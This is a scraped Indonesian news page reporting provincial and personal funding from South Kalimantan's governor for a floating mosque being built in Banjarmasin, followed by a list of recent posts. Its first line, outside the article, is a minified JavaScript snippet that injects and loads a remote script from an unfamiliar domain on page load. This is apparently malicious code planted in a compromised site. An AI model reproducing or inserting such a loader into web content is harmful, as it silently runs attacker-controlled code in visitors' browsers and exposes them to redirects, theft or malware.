(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Pemprov Rp 1 M, Paman Birin Rp 100 Juta Bantu Masjid Terapung


BANJARMASIN, Pemprov Kalsel hibahkan anggaran Rp 1 milliar untuk membantu pembangunan masjid terapung pertama di Pulau Kalimantan.  Tak hanya itu, Gubernur Kalsel Sahbirin Noor pun ikut membantu secara pribadi sebesar Rp 100 juta.

Pembangunan Masjid Bani Aryadi di Jl Sungai Jingah Banjarmasin Utara, mulai dilakukan dengan pemancangan tiang pertamanya, Rabu (13/3) pagi. Menariknya, masjid terapung ini berada tepat di depan kubah makam Syeh Jamaluddin (Syeh Surgi Mufti), yang selama ini sudah menjadi salah satu ikon wisata religi di Kalsel.

Sejarahnya, sebelum oleh masyarakat direnovasi total menjadi masjid, dulunya hanya sebuah mushala yang dibangun Syekh Jamaludin atau dikenal dengan Syekh Surgi Mufti. Menurut H Hawari, Ketua Panitia, langgar atau Mushala Bani Arsyadi sudah berusia ratusan tahunan. Selain sudah tua juga kurang memadati untuk digunakan.

“Oleh karena itu, masyarakat dan pengurusnya berinisiatif membangun yang lebih baik lagi, yaitu masjid terapung yang bangunannya agak sedikit menjorok ke sungai,” jelasnya.

Masjid ini nantinya, lanjut Hawari, luasan bangunan 207 m dan berdiri di atas lahan seluas 780 m. Masjid rencananya akan dikonsep dengan arsitektur mengadaptasi dari bangunan Masjid Madinah.

Sementara menurut Gubernur Kalsel, H Sahbirin Noor, selain pasar terapung, Kalimantan Selatan juga memiliki Mesjid Terapung. Selain itu, lanjut Paman Birin sapaan akrab Gubernur Kalsel itu, ini momentum yang monumental. Karena dengan keberadaan mesjid terapung di Sungai Jingah, membuktikan masyarakat setempat adalah masyarakat yang tradisional.

“Karena disini masih banyak kita lihat Rumah Banjar dengan nilai sejarahnya, yang bisa di katakan Kampung lawas,” ucapnya.

Pembangunan masjid terapung, sambung Paman Birin,  tujuannya selain menjadi tempat ibadah, juga akan menjadi tempat wisata baru atau ikon wisata religi baru di Kalsel.

“Selama ini, 20 persen dari APBD kita masih bergantung pada sektor pertambangan yang suatu saat akan habis. Karena itu kita harus mencari alternatif dan berhenti bergantung pada sektor pertambangan,” katanya. (end/bdm)

Reporter: End/Bdm
Editor: Chell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

4 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

6 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.